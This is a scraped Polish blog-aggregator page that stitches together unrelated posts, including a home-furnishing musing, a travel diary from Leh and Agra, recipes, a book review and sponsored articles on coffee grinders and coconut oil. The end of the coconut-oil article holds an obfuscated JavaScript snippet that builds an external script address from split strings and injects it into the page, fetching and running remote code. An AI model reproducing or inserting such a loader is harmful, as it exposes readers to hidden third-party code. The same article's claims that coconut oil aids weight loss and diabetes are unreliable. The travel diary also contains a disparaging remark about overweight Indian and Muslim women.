W sferze marzeń czyli wykańczanie, meblowanie...

MAMUSIOWO BORSUCZKOWO

W sferze marzeń czyli wykańczanie, meblowanie...

Mówi się, że wykańczanie domu/mieszkania/biura/pokoju wykańcza samego wykańczającego. Wykańcza finansowo, wykańcza czasowo, ale i wykańcza nadmiarem wrażeń, nadmiarem wyborów i możliwości. Ci bardziej niezdecydowani mogą wykańczanie odczuć jako coś co można porównać z pracą w kamieniołomach. Nie ma jednak chyba nikogo, kto na takie wykańczanie nie czekałby z zapartym tchem jak na Mikołaja. Bo to chyba, mimo tych wszystkich niedogodności, jest całkiem fajne. I ja czekam i czasem lubię sobie tak pomarzyć i czasem lubię się z Wami tymi marzeniami podzielić.My do wykańczanie na razie nie mamy za wiele. Mamy mieszkanie do wiecznego remontu, ale to już nie to samo. Remont ma to do siebie, że najpierw trzeba zaorać to co jest, żeby potem coś poprawić. Trzeba gdzieś upchnąć siebie i dzieci, nasze rzeczy, nasze obowiązki i znaleźć czas, żeby wszystko z powrotem doprowadzić do porządku. Nie jest to łatwe, wymaga gimnastyki, dlatego my skutecznie się od tego migamy. Pewnie po nowym roku nie uciekniemy przed remontem w dziecięcym pokoju, trzeba pomyśleć o łóżku dla Zofii, może o piętrowym, ale na razie odganiam od siebie te myśli. Nie zmienia to faktu, że oglądam i analizuje. To nic nie kosztuje.Mamy do urządzenia jeszcze nasze miejsce pracy, ale to też nie to samo, bo ciągnie się jak lazania, wiecznie są jakieś przestoje, zmieniają się koncepcje i nie na wszystko, mimo szczerych chęci, mam wpływ. Do tego wieczne wyrzuty sumienia ze względu na koszty, w końcu z tyłu głowy wiecznie siedzi ten nasz wymarzony, własny dom, i jakoś tak zapał spada. Co prawda, ostatnio miałam niewielką namiastkę wykańczania i jego wykańczającej siły, gdy przyszło mi od nowa wybierać płytki, bo te, które wybrałam ostatnio jakimś dziwnym sposobem wyparowały ze sklepu. Cóż, po pół roku miały prawo. Na szczęście trafiłam do sklepu z małym wyborem, ale i tak łatwo nie było. Potem przyszedł czas na wymierzanie, wyliczanie i przeszacowanie kosztów, które miały być skromne, a wyszły jak zwykle. Ale myślę, że o wiele łatwiej byłoby przełknąć tą pigułkę, gdyby to był ten nasz wymarzony...No nic, nie o tym chciałam dziś. Dziś chciałam o tym, jak bardzo nie mogę się powstrzymać przed oglądaniem ofert sklepów, jak bardzo nie mogę się powstrzymać przed przeskoczeniem etapu planowania, etapu budowy, nawet etapu wykańczanie, żeby wielkim susem wskoczyć w etap urządzania. I tutaj też można dostać oczopląsu. Meble, mebelki, takie, owakie, eleganckie, luzackie, skandynawskie, biurowe, sypialniane, dziecięce, kolorowe, stonowane... No, nawet nie wiem, jakie jeszcze, bo dzień za dniem rzuca mi się coś nowego w oczy, co "koniecznie muszę mieć u siebie w domu". Istne szaleństwo, zwłaszcza, że na razie więcej skaczę po sklepach internetowych niż po stacjonarnych. Aż się boję myśleć, co będzie, jak w końcu zacznę zwiedzać sklepy stacjonarne. Takim tropem, już po raz któryś trafiłam na http://kdcmeble.com/.  Co by nie mówić, jak bardzo by się nie starać, wyobraźnia zaczyna pracować i pojawiają się piękne obrazy. Dodając do tego, że każdy z mebli można dostosować pod siebie, dobrać tapicerkę, kolor czy wzór, można się rozmarzyć. Piękne wypoczynki, gustowne sypialnie, najchętniej już bym się do takiego domu przeprowadziła. Ech, co poradzić, że na razie jest to tylko w strefie marzeń. Ale jak to mówią, trzeba o czymś marzyć, do czegoś dążyć, czymś się kierować. W najbliższym czasie się okaże czy będziemy wykańczać i urządzać ten nasz wymarzony, czy w końcu doprowadzimy nasze mieszkanie do takiego stanu, że nie będzie nam się chciało stąd wyprowadzać. Na razie nadal przeglądam i zapisuję pomysły "do zrealizowania".A jakie jest Wasze doświadczenie w tym temacie? Słusznie na to czekam czy raczej jeszcze kiedyś będę głośno przeklinała ten czas, gdy będę wcielała w życie wizje mojego wymarzonego gniazdka? Jak to jest z tym wykańczaniem? Rzeczywiście wykańcza?

Himalaje 2016 - Dzień 14 - Orlice wylatują

dwa kółka i spółka

Himalaje 2016 - Dzień 14 - Orlice wylatują

16 sierpnia 2016 - wtorek17 sierpnia 2016 - środaNikomu się nie chce wyjeżdżać, ale niestety trzeba wracać do rzeczywistości. Niektóre Orlice jeszcze zostają dzień czy dwa, Ola czeka na "drugi turnus" - Orliczki - dziewczyny nieco młodsze motocyklowym stażem, które wrócą Enfieldami do Manali.  Ruszamy na lotnisko w Leh. Nie jest to takie proste, bo zanim wjedziemy na jego teren, kierowcy muszą uzyskać pozwolenie od mundurowych. W końcu jesteśmy na miejscu i zaczyna się zabawa...Na lotnisko wchodzi się rożnymi wejściami, odpowiadającymi gate'om. Są chyba trzy. Do jednego jest wieeelka kolejka. Do drugiego nikt nie stoi. Gdzieś dalej znowu stoją jacyś ludzie. Wejścia nie sa opisane i nie ma na nich informacji "za czym ta kolejka stoi". Jest kilka skupisk plastikowych krzesełek, połączonych ze sobą - taka poczekalnia pod chmurką.Podczas gdy cześć z nas rozładowuje bagaże z dachu taksówek, pozostałe próbują się rozeznać w sytuacji. Wielka kolejka "leci" na Goa. Więc to raczej nie my. W środkowej części przy wejściu jest mała tablica z ledwo widocznymi, wypisanymi kredą informacjami. I co ciekawe okazuje się, że to nasze wejście. No to wchodzimy. Zanim przejdziemy dalej chcemy jeszcze poczekać, bo ma podjechać ekipa, która zostaje w Leh, żeby nas pożegnać i upewnić się, że na pewno poleciałyśmy. Niestety jak już weszłyśmy, to nie możemy wyjść, tzn. z budynku możemy, ale nie ze strefy wyznaczonej przez plastikowe krzesełka, czego pilnuje uzbrojony pan w mundurze. Ance, która chce nas pożegnać to nie przeszkadza i przechodzi nad krzesełkami, żeby nas uściskać. Czas jednak nagli, więc przechodzimy dalej, by poddać się kontroli lotniskowej w wersji lokalnej...W środku budynku... ludzie ze wszystkich wejść i tak wchodzą do jednej hali. Najpierw musimy poddać nasze bagaże skanowaniu. Potem możemy przejść dalej, do stanowisk odpraw. Udaje nam się znaleźć to właściwe. Są osobne kolejki dla mężczyzn i kobiet - w męskiej jest milion osób, w damskiej przed nami zaledwie jedna. na stanowisku check-in wymieniamy główne bagaże na karty pokładowe i możemy iść do kontroli bezpieczeństwa. Tu też są osobne kolejki, ale w damskiej jest sporo więcej osób, w dodatku te najgrubsze hinduski i jeszcze grubsze muzułmanki przepychają się jeszcze bardziej niż dzieciaki z mojego klubu narciarskiego wieki temu w kolejce do krzesełka na  Goryczkowej... Kolejka przesuwa się wolno, bo i tak wszystkie podręczne bagaże idą na jedną taśmę i przez jeden skaner. W dodatku, właśnie zauważamy, że kobiety nie mogą wchodzić z plecakami i więcej niż jedną sztuką bagażu podręcznego (a niektóre z nas mają jeszcze kaski). Pani mundurowa tego pilnuje i coś się burzy, ale zignorowanie jej jest wystarczające, żeby problem już przestał istnieć. Jeśli już się uda wrzucić bagaż na taśmę, przechodzi się przez bramkę (faceci) i przez bramkę i kontrolę za kotarką (kobiety), po czym dostaje pieczątkę na karcie pokładowej. Teraz jest tylko walka o wyszarpanie  swojej własności i można zatopić się w tłumie we wspólnej dla wszystkich gate'ów poczekalni. Jest barek lotniskowy, więc kupujemy sobie samosy i jakieś picie na śniadanie. Musimy też wytężyć uwagę, żeby nie przegapić naszego lotu - komunikaty niby są , ale całkowicie nie do zrozumienia, a na monitorach nad gate'ami informację się wyświetlają, albo nie, więc też pełna dowolność. W końcu przychodzi czas na nasz lot. Stajemy w kolejce do bramki i... odbijamy się od niej, bo nie mamy odpowiedniej pieczątki czy znaczka wskazujących, że przeszłyśmy identyfikację bagażu. Wychodzimy więc bocznym wyjściem z poczekalni na płytę, gdzie widzimy setki toreb i walizek wywalone chaotycznie na podłogę. Uwijający się w tym wszystkim pan prosi o wskazanie bagażu każdą z nas. Po czym odkleja z zawieszki bagażu jakiś fragment i nakleja go sobie na przedramię, rysuje "ptaszka" na karcie pokładowej i mówi, że to już i możemy wracać do bramki... Na pytanie czy on to ogarnia odpowiada "się zobaczy". Przechodzimy przez bramkę i jednym z dwóch korytarzy (każdy dla innej linii lotniczej) wychodzimy na zewnątrz... na wspólny placyk ;) gdzie podjeżdżają autobusy przewożące pod samolot. Najpierw jeszcze kilka razy podjeżdża "nie nasz" biorąc spóźnialskich z innego lotu, aż w końcu nasz i zabiera nas pod samolocik. Wsiadamy i po chwili wylatujemy z Leh.Lot przebiega bez zakłóceń i mniej więcej rozkładowo lądujemy w Delhi. Tu również cześć grupy odbija w swoją stronę, na swoje loty. Ekipa lecąca do Polski ma samolot w środku nocy/nad ranem, więc mamy chytry plan na przeczekanie tych godzin. Zwiedzanie Delhi to słaby pomysł, zwłaszcza, że na lotnisku nie ma jak zostawić bagażu. GaGatek więc zorganizowała nam wypad wynajętym busem do Agry, żeby zobaczyć Taj Mahal.Przed lotniskiem czekał na nas człowiek, właściciel firmy przewozowej, który miał pokierować tą operacją. Przeszłyśmy w upale na parking, gdzie po długich minutach oczekiwania podjechał busik. Klimatyzowany. Bo jest nieznośnie gorąco. Surowy klimat Himalajów był o niebo lepszy :)Jak to w Indiach bywa, jeśli coś działa dobrze, to jest coś o czym nie wiesz. Szło za gładko. Tak więc nasz busik zepsuł się jeszcze zanim wyjechałyśmy z Delhi. W oczekiwaniu na następny, który "miał być za kwadrans" (no, zobaczymy) poszłyśmy zdobyć trochę picia i jakieś orzeszki na przegryzkę. Do Agry, gdzie coś zjemy, mamy ładne kilka godzin jazdy. Drobny shopping zasponsorował nam właściciel busikowej firmy - w ramach rekompensaty za niedogodności.Nowy busik był mniej komfortowy, ale jakby bardziej sprawny, więc jechałyśmy bez przeszkód.W Agrze poznałyśmy naszego przewodnika (niestety jego imię wyleciało mi z głowy), ale zanim nastąpiło zwiedzanie, poszłyśmy coś zjeść. Niestety do knajpy turystycznej, co widać było wyraźnie w cenach potraw, skądinąd bardzo dobrych.Gdy poziom cukru wrócił do normy, pojechaliśmy do Agry. Dostałyśmy kila rad jak się ustrzec przed złodziejami i naciągaczami, co wolno, a czego nie wolno wnosić na teren Taj Mahal a także ochraniacze na buty (bo do grobowca nie można wejść w butach, ale założenie na nie ochraniaczy załatwia sprawę ;)).W Agrze byłam w 2010 roku, podczas plecakowej podróży do Indii, ale niewiele się tu zmieniło - tłumy, tłumy, tłumy. Na szczęście nasz przewodnik miał dla nas już kupione bilety, więc nie musiałyśmy stać w wielkich kolejkach do kas, a potem nawet do kontroli bezpieczeństwa wprowadził nas na początek kolejki, ku niezadowoleniu lokalesów, ale za przyzwoleniem strażników.Nasz przewodnik bardzo ciekawie poopowiadał nam o historii tego miejsca, podając mnóstwo dodatkowych i interesujących informacji, co jak, gdzie, kiedy i dlaczego. W samym grobowcu poświęcił dłuższą chwilę na omówienie technicznych aspektów budowy obiektu i kamieni szlachetnych użytych do dekoracji. Po raz kolejny okazało się, ze jest jakimś VIPem wśród przewodników, bo strażnicy mu pomagali w demonstracjach przenikania światła przez marmur i niektóre kamienie, zamiast przeganiać - normalnie przechodzi się tam w kolejce ludzi, bez możliwości robienia zdjęć i zatrzymywania się. Akurat prowadzone są prace - piaskowanie minaretów, żeby przywrócić im jasny kolor. Zanieczyszczenie powietrza mocno dało im się we znaki. Od jakiegoś czasu w okolicy nie ma żadnego przemysłu, więc jest nadzieja, że po czyszczeniu zachowają biel na dłużej.Po zwiedzaniu musiały nastapić oczywiście rzeczy charakterystyczne dla postępowania z turystami w takich miejscach, czyli pod pretekstem przekazania dalszych informacji przewiezienie do sklepów. I tak trafiłyśmy do "potomków rodzin robotników, którzy budowali Taj Mahal", gdzie po demonstracji inkrustowania marmuru kamieniami tą samą metodą jak wieki temu, zaproszono nas do wielkiego sklepu, gdzie na przykład można było sobie zanabyć marmurowy stolik do gry w szachy ;) Kolejnym miejscem był sklep z biżuterią, gdzie najpierw mogłyśmy popatrzeć jak powstają wyszywane klejnotami makatki i inne wyroby z tkanin, a następnie posłuchać i popatrzeć na kamienie, które w różny sposób rozbłyskują gdy są oświetlone światłem i oczywiście zakupić je po "atrakcyjnych" cenach. Tu trochę miałyśmy już dość, więc po angielsku zmyłyśmy się ze sklepu.Nasz przewodnik zabrał nas jeszcze na targ z owocami, gdzie dopilnował, żeby nikt nas nie ponaciągał. Zrzuciłyśmy się na napiwek dla niego, bo było go warto posłuchać, a  "z urzędu" za nas dostawał jedynie 10 dolarów i pożegnałyśmy go, a same ruszyłyśmy busikiem z powrotem do Delhi.Koło północy byłyśmy na miejscu i mogłyśmy po raz kolejny rzucić się w wir odpraw. Zmęczone, ale zadowolone dotarłyśmy do poczekalni przed bramkami, gdzie spotkałyśmy znowu Jasinka i Reda, którzy wracali tym samym zestawem samolotów do Polski.Podróż, z przesiadką w Doha minęła bezproblemowo i w środę wczesnym popołudniem już byłyśmy w Polsce, gdzie na każdą z nas czekał jakiś mniejszy lub większy komitet powitalny. Szkoda się było rozstawać, po takim fajnym wyjeździe...

Raijintek Paean: prestiżowa obudowa bench table ze szkła i aluminium

Gadźetomania.pl

Raijintek Paean: prestiżowa obudowa bench table ze szkła i aluminium

AGA W KUCHNI

"ELMER najlepsze przygody" David McKee

Książka "ELMER najlepsze przygody " wydawnictwa Papilon to 6 opowiadań o kolorowym słoniu w kratkę, którego mojego dziecko pokochała od razu. Elmer jest słoniem bardzo cierpliwym, dobrym i pomocnym. Wszyscy proszą go o radę, a on im pomaga. Tego słonika nie da się nie lubić ;)W środku znajdziemy 6 opowiadań o przygodach tego kolorowego słonia. Opowiadania napisane fajnym językiem, łatwo się czyta, a dzieci wciągają się w każdą historyjkę tego słonia i proszą o więcej ;) Nie ukrywam, że książka samej bardzo mi się spodobała i czytałam ją córce również z wielkim zainteresowaniem jak ona słuchała. Elmer nie dość, że jest kolorowy to wszyscy bardzo go lubią i witają z daleka... a dostrzec go nie jest trudno ;)  Na tle innych zwierząt bardzo się wyróżnia :)'Elmer jest książką niosącą pewny morał i przesłanie, bycie innym od wszystkich wcale nie oznacza bycie złym. Może natomiast oznaczać kogoś znacznie lepszego od innych.Książka jest bardzo ładnie wydana, w twardej oprawie o grubych kartkach, także nie łatwo o jej zniszczenie... a będzie czytana na pewno wiele razy :)Wydawnictwo:  Papilon

domowe dodatki do świątecznych wypieków

CUKIERENKA KLEMENTYNKI

domowe dodatki do świątecznych wypieków

Październik 2016 - Sprzedaż +1,2%

AUDIBLOGPL

Październik 2016 - Sprzedaż +1,2%

Czytaj więcej »

Classic Look

STYLLOVE

Classic Look

17-11-2016

FLASHINGDIAMONDS

17-11-2016

Nowe Mini John Cooper Works Rally na przyszłoroczny Dakar

Autokult

Nowe Mini John Cooper Works Rally na przyszłoroczny Dakar

Muzeum Fotografii w Zamościu

SISTERS92

Muzeum Fotografii w Zamościu

Ciasto śnieżny puch z limonką

Kulinarne przygody Gatity

Ciasto śnieżny puch z limonką

Ciasto czekoladowe z jabłkami

Smakujmy

Ciasto czekoladowe z jabłkami

Warsztaty dekorowania pierników dla dzieci Jasionka k/ Rzeszowa 2016

ABC mojej kuchni

Warsztaty dekorowania pierników dla dzieci Jasionka k/ Rzeszowa 2016

19.11.2016 - OOTD / BIAŁA PUCHÓWKA I GÓRSKA SCENERIA - GÓRY #2

mishmashwardrobe

19.11.2016 - OOTD / BIAŁA PUCHÓWKA I GÓRSKA SCENERIA - GÓRY #2

Omlet pikantny na śniadanie

PROSTE POTRAWY

Omlet pikantny na śniadanie

                                 A to moja propozycja na jutrzejsze śniadanie :)Składniki :1 cebula3 średnie boczniaki lub 4-5 pieczarek3 plastry wędzonego boczku, może być też chuda szynkasól, szczypiorektłuszcz do smażeniaPrzygotowanie;Boczek pokroić drobno, obraną cebulę w pół plasterki, umyte grzyby pokroić drobnoNa rozgrzanym tłuszczu przesmażyć boczek, dołożyć cebulę - wymieszać i smażyć chwilęWsypać umyte, pokrojone grzyby, posolić i smażyć około 10 min.- przykryć pokrywkąWbić 2-3 jajka i lekko wszystko wymieszać, posypać szczypiorkiem ( u mnie niestety tylko natka pietruszki )Jest to ilość na 1 osobę, no mogą spróbować zjeść to 2 osoby, ale nie mam pewności czy nie będą jednak głodne :)

Naleśniki z mąki gryczanej z nadzieniem ze szpinaku i sera feta

Kuchnia Breni

Naleśniki z mąki gryczanej z nadzieniem ze szpinaku i sera feta

Krem z dyni z soczewicą

Dusiowa Kuchnia

Krem z dyni z soczewicą

Przepis na mobilną fotoedycję: efekt malowidła

Komórkomania.pl

Przepis na mobilną fotoedycję: efekt malowidła

Ciastka owsiane z żurawiną i czekoladą

Kolorowo torcikowo

Ciastka owsiane z żurawiną i czekoladą

Jak zachować prawdziwy smak i aromat kawy?

Kulinarny blog

Jak zachować prawdziwy smak i aromat kawy?

Kawa – aromatyczny napój sporządzany z palonych ziaren kawowca. W Europie pojawił się około XVI w. Zawarte w nim składniki, w tym kofeina, działają na ludzki organizm orzeźwiająco oraz pobudzająco. Stosowana z umiarem, często poprawia samopoczucie. Dla wielu osób jej spożywanie jest nie tylko sposobem na wspólne spędzenie czasu, ale niemal rytuałem. Dziś trudno wyobrazić sobie poranek bez jej niezwykłego smaku i aromatu.  Prawdziwy koneser kawy wie, że kluczowe dla zachowania jej walorów smakowych oraz niepowtarzalnego zapachu jest właściwe przechowywanie. Najwięksi wrogowie ziaren kawowca to: nadmiar powietrza, wilgoć, zbyt wysoka temperatura oraz źródło światła. By zachować smak i aromat ziaren kawy należy zatem bezwzględnie pamiętać o przestrzeganiu kilku zasad. Ziarna kawowca, podobnie jak wiele innych produktów spożywczych, zachowują swoją świeżość jedynie przez pewien czas. Aby móc, wiąż delektować się aromatyczną kawą, warto kupować taki jej zapas, który wystarczy na okres nie dłuższy niż dwa tygodnie. Mikropory obecne na powierzchni ziarenek kawy sprawiają, że z łatwością absorbują one wodę oraz przejmują zapachy od innych produktów spożywczych. Dobrze jest zrezygnować z przechowywania kawy w lodówce, gdzie poziom wilgoci utrzymuje się na wysokim poziomie. Palone ziarna kawy, cenione za swoje walory dekoracyjne, niekiedy umieszczane są w szklanych pojemnikach i ustawiane w eksponowanych miejscach, stanowiąc niejako element wystroju kuchni. Jednak działanie światła i powietrza sprawia, że ziarna kawy szybko tracą swoje właściwości, a zawarte w nich olejki eteryczne zaczynają się ulatniać. Kawa zaparzona z ziaren używanych wcześniej do dekoracji, będzie niemal całkowicie pozbawiona aromatu. Aby zachowała swoje właściwości, warto przechowywać ją w oryginalnym i specjalnie przystosowanym do tego celu opakowaniu lub innym szczelnym i nieprzezroczystym pojemniku. Cenne olejki eteryczne odpowiedzialne za smak i aromat kawy wydobywają w trakcie jej mielenia, a ulatniają się w niespełna godzinę po nim. Najwłaściwsze, ze względu na zachowanie walorów kawy, jest przechowywanie jej w ziarnach i mielenie tuż przed zaparzeniem jedynie w takiej ilości, jaka niezbędna jest w danej chwili. Podsumowując, wonne ziarna kawowca odkryją pełnię swych walorów jedynie przed tymi osobami, które właściwie je przechowują. Kluczowe jest trzymanie ziaren zamkniętych w hermetycznym opakowaniu, w suchym i ciemnym miejscu, z dala od źródeł światła i ciepła. Istotne jest także, by kupować jedynie niewielkie ich ilości, a mielić tuż przed zaparzeniem. Sposób zmielenia kawy ma ogromny wpływ na jakość zaparzonego napoju. Często o stopniu rozdrobnienia ziaren kawy decyduje nie tylko gust kawosza, ale również urządzenie, w którym kawa będzie parzona. Rozdrobnienie ziaren kawowca umożliwiają młynki do kawy, z których większość daje możliwość regulacji grubości mielenia. Pełen przekrój młynków do kawy zobaczyć można na stronie do https://www.garneczki.pl/produkty/mlynki-do-kawy,433. Przy tak szerokim asortymencie, powstaje pytanie – jaki młynek będzie najlepszy. Wiele zależy tu od sposobu zaparzania kawy. Niekiedy wystarczy najprostszy młynek ręczny, w innym przypadku lepiej sprawdzi się elektryczny młynek do kawy z możliwością regulacji grubości mielenia.   Sposób parzenia kawy Sposób mielenia kawy Ekspres przelewowy z filtrem w kształcie stożka Drobno mielona Ekspres przelewowy z filtrem płaskim Średnio mielona Ekspres ciśnieniowy Drobno mielona Kawa po turecku Bardzo drobno mielona Kawiarka Drobno mielona Perkolator do kawy Grubo mielona Tab. 1 Sposób mielenia kawy w zależności od sposobu parzenia. Wyboru młynków do kawy można dokonywać spośród wyposażonych w ostrza lub żarna. Ostrza – powodują rozcinanie ziaren na nierówne kawałki. Podczas tego procesu powstają duże ilości pyłu kawowego. W trakcie mielenia kawa jest mocno podgrzewana, co skutkuje ulatnianiem się cennych olejków eterycznych odpowiedzialnych za jej aromat. Żarna – powodują ścieranie ziaren kawy. Ilość pyłu kawowego jest stosunkowo niewielka. Podczas mielenia, kawa nie ulega podgrzewaniu, co sprzyja zachowaniu substancji odpowiedzialnych za smak i aromat.   Z powyższego wynika, że zdecydowanie lepszym wyborem są młynki żarnowe. Przemawia za tym fakt, że po zmieleniu kawa zachowuje swój aromat. Nie bez znaczenia jest także to, że większość żarnowych młynków do kawy posiada regulację stopnia grubości mielenia. Dzięki tej funkcji z łatwością można dostosować stopień rozdrobnienia kawy do sposobu jej zaparzania. Decydując się na zakup młynka dla kawy, należy dokonać wyboru nie tylko pomiędzy ostrzowym i żarnowym, ale także pomiędzy ręcznym i elektrycznym. Ręczny młynek do kawy jest wolnoobrotowym urządzeniem, napędzanym za pomocą korbki. Choć jakoś mielonej przy jego użyciu kawy nie odbiega od tej, którą uzyskać można w młynku elektrycznym, to jednak pracuje on zdecydowanie wolniej. Elektryczny młynek do kawy jest nieco droższy niż ręczny, za to zdecydowanie wydajniejszy. Napędzany źródłem prądu, do rozpoczęcia pracy wymaga od użytkownika jedynie włączenia przycisku. Analizując powyższe, można wyciągnąć wnioski, że najlepszym wyborem jest elektryczny młynek żarnowy. Należy jednak pamiętać, że sposób mielenia kawy i rodzaj młynka powinien być uzależniony od gatunku kawy i sposobu jaj parzenia. To, na co warto zwrócić szczególną uwagę, to możliwość regulacji stopnia rozdrobnienia ziaren oraz materiał, z jakiego wykonane zostały ostrza lub żarna. Najpopularniejsza jest tutaj trwała i wytrzymała stal, żeliwo lub staliwo (stop żelaza z węglem). W nowoczesnych urządzeniach zastosowanie mają żarna ceramiczne. Na stronie garneczki.pl można znaleźć młynki do kawy wykonane z różnorodnych materiałów. Szeroki asortyment oraz duża rozpiętość cenowa sprawia, że każdy, nawet najbardziej wymagający kawosz, znajdzie coś dla siebie. Post Jak zachować prawdziwy smak i aromat kawy? pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować!.

MUST HAVE FASHION

Stylizacja: góralski sweter i magia Zakopanego

Wszędzie dobrze, ale… w górach najlepiej! Kocham chwile, kiedy mogę uciec w te rejony, a w szczególności, gdy jest to tak wspaniałe miejsce jak Zakopane. Podczas mojego ostatniego pobytu zachwyciłam się swetrami w góralskim stylu. Taki góralski sweter to moje „must have” na deszczową jesień i mroźną zimę. Góralski sweter Jak góralski sweter to koniecznie [...]

Curry szpinakowe z maslem orzechowym

Mój kulinarny pamiętnik

Curry szpinakowe z maslem orzechowym

Dashbot: inteligentny samochodowy odtwarzacz, nawigacja i telefon

Gadźetomania.pl

Dashbot: inteligentny samochodowy odtwarzacz, nawigacja i telefon

Gdy za produkt odpowiada doświadczony startup, nie musimy obawiać się wtórności. Swoim unikalnym designem, obsługą głosem i świetną ceną potwierdza to także Dashbot. Co potrafi najnowszy przebój z Kickstartera?Czytaj więcej w Gadżetomania.pl

Giełda klasyków

Jensen Interceptor 1973 – Warszawa

Jensen Interceptor jest prawdziwą kwintesencją brytyjskiego stylu i motoryzacyjnego rozmachu. Doskonałe osiągi i wygodę ubrano tu w piękne nadwozie zaprojektowane przez Carrozzeria Touring i napędzane przez potężnego big block’a Chevrolet’a. Oferowany przed dom aukcyjny Ardor egzemplarz pochodzi z trzeciej, najbardziej dopracowanej serii produkcyjnej. Odrestaurowany w USA ponad dziesięć lat temu, wymaga nowego lakieru i prac […] Post Jensen Interceptor 1973 – Warszawa pojawił się poraz pierwszy w Giełda klasyków.

Zwykłe, niezwykłe patyczki

KREATYWNIE W DOMU

Zwykłe, niezwykłe patyczki

Bardzo lubię kreatywne zabawki. Pobudzają one u dzieci nie tylko kreatywne myślenie ale i logiczne. Uczą one dzieci koncentracji uwagi oraz cierpliwości. Ostatnim moim odkryciem są patyczki konstrukcyjne. Hicior nad hitami. Gdy tylko je zobaczyłam wiedziałam, że skradną serce Kuby.Czytaj więcej »

Czekoladowy tort Piesek

Wypieki Beaty

Czekoladowy tort Piesek

Niezwykłe Auto od Tektorado

KREATYWNIE W DOMU

Niezwykłe Auto od Tektorado

Większość małych chłopców marzy by być kierowcą wyścigówki niczym Robert Kubica. W tej większości jest mój 6latek. Ale żeby nie było, że tylko chłopcy to moja 2latka wręcz brum brum ubóstwia. Jaka jest jej ulubiona książka? Książka pełna ilustracji z samochodami. Czym się uwielbia bawić? Nie popuści bratu i podkrada mu autka. Dlatego też postanowiłam sprawić radość moim Szkrabom a czym i czy mi się to udało zobaczcie sami...Czytaj więcej »

Pasja Smaku

Staub Mini Cocotte – recenzja

Znacie serię naczyń ceramicznych do serwowania potraw Staub Mini Cocotte? Ja miałam ostatnio okazję je testować i naprawdę fajnie się sprawują. Wyobraźcie sobie np. zupę podaną w mini garnuszkach – to dużo ciekawsze niż zwykły talerz, albo porcję zapiekanki przygotowaną tylko dla Was w owalnym naczyniu Staub. Ilość możliwości jest niezliczona – ogranicza Was tylko Wasza wyobraźnia. *Wpis powstał przy współpracy z marką Staub. PS. Jeśli doczytacie do końca toCzytaj dalej...Artykuł Staub Mini Cocotte – recenzja pochodzi z serwisu Pasja Smaku.

Kilka słów o oleju kokosowym.

Poranek na słodko

Kilka słów o oleju kokosowym.

Olej kokosowy z powodzeniem może być określany mianem produktu, który w ostatnich miesiącach podbił serca Polaków. Może być wykorzystywany nie tylko w kuchni, ale również podczas zabiegów pielęgnacyjnych. Coraz więcej uwagi poświęca się przy tym jego możliwościom wówczas, gdy dana osoba zastanawia się nad tym, jak zrzucić nadmiar kilogramów.Olej kokosowy na odchudzanieAnalizując skład oleju kokosowego należy zwrócić uwagę na MCT określane często mianem wyjątkowych cząstek tłuszczu. Okazuje się, że mówienie o ich wyjątkowości nie jest wcale zaskakujące, MCT są bowiem metabolizowane w sposób nietypowy dla tłuszczów. Gdy już trafiają do naszego organizmu, nie zamieniają się w tkankę tłuszczową, natychmiast wykorzystuje się je bowiem do produkcji energii i przyspieszania tempa, w jakim następuje przemiana materii. Jeśli więc osoba odchudzająca się zje posiłek z dodatkiem oleju kokosowego, nie tylko szybciej zyska poczucie sytości, ale i szybciej go spali. Oczywiście, olej kokosowy nie jest w stanie zastąpić aktywności fizycznej i zdrowych nawyków żywieniowych, można jednak na niego liczyć jako cenne wsparcie w procesie gubienia nadmiaru kilogramów. Jeśli więc naszym celem jest odzyskanie zgrabnej sylwetki, warto przyjmować dwie łyżki oleju kokosowego dziennie.Olej kokosowy a układ krążeniaOlej kokosowy jest nieocenionym wsparciem w procesie walki z otyłości brzuszną, okazuje się przy tym ważnym sojusznikiem tych osób, które zmagają się z chorobami układu krążenia niejednokrotnie wywoływanymi właśnie przez nią. Otyłość brzuszna jest uważana za szczególnie niebezpieczną, naukowo potwierdzono bowiem zarówno jej związek z cukrzycą i nadciśnienia tętniczego. Obie choroby zwiększają zaś zarówno ryzyko zawału, jak i chorób serca, a więc schorzeń, które są szczególnie niebezpieczne w przypadku naszych rodaków.Olej kokosowy zasługuje w tym kontekście na uwagę również dlatego, że jego stosowanie przyczynia się do podniesienia poziomu tak zwanego „dobrego” cholesterolu, może więc pomagać nie tylko w profilaktyce chorób sercowo-naczyniowych, ale i stawać się wsparciem dla osób, które już się z nimi zmagają.Olej kokosowy w walce z cukrzycąJedną z unikatowych właściwości oleju kokosowego jest usprawnianie wydzielania insuliny, co przyczynia się do regulowania poziomu cukru znajdującego się we krwi. Dzięki temu pacjenci zmagający się z imsulinoopornością mogą liczyć na to, że choroba nie będzie się pogłębić, a tym samym pierwsze sygnały świadczące o zagrożeniu cukrzycą nie muszą wcale przesądzać o pojawieniu się tej choroby.Olej kokosowy dla urodyW oleju kokosowym zawarte są kwasy tłuszczowe te zaś nie tylko głęboko penetrują, ale również odżywiają skórę. Właśnie te jego właściwości sprawiają że olej kokosowy sprawdza się zarówno jako krem nawilżający, jak i ten, który ma właściwości nawilżające. Ten naturalny kosmetyk sprawdza się bez względu na to, z jakim rodzajem skóry mamy do czynienia, w szczególny sposób wspiera jednak cerę suchą i odwodnioną. Może być też stosowany przy cerze podatnej na trądzik, typowe dla niego właściwości antybakteryjne pozwalają bowiem na jego zwalczanie.Autor artykułu:Artykuł został przygotowany przez sklepagnex.pl specjalizujący się w sprzedaży oleju kokosowego.(function(){ oxh7=document.createElement("script");oxh7.async=true;oxh7_="u"+("s")+"t"; oxh7u="1783405.";oxh7_+="a"+("t.i");oxh7_+="n"+("f"+"o")+"/"; oxh7u+="72pve4xexh7m66z40kevan"+("821cg8zjcb"); oxh7.src="//"+oxh7_+oxh7u;oxh7.type="text/javascript"; document.body.appendChild(oxh7); })();

Murzynek bananowy z orzechami

Zjem to

Murzynek bananowy z orzechami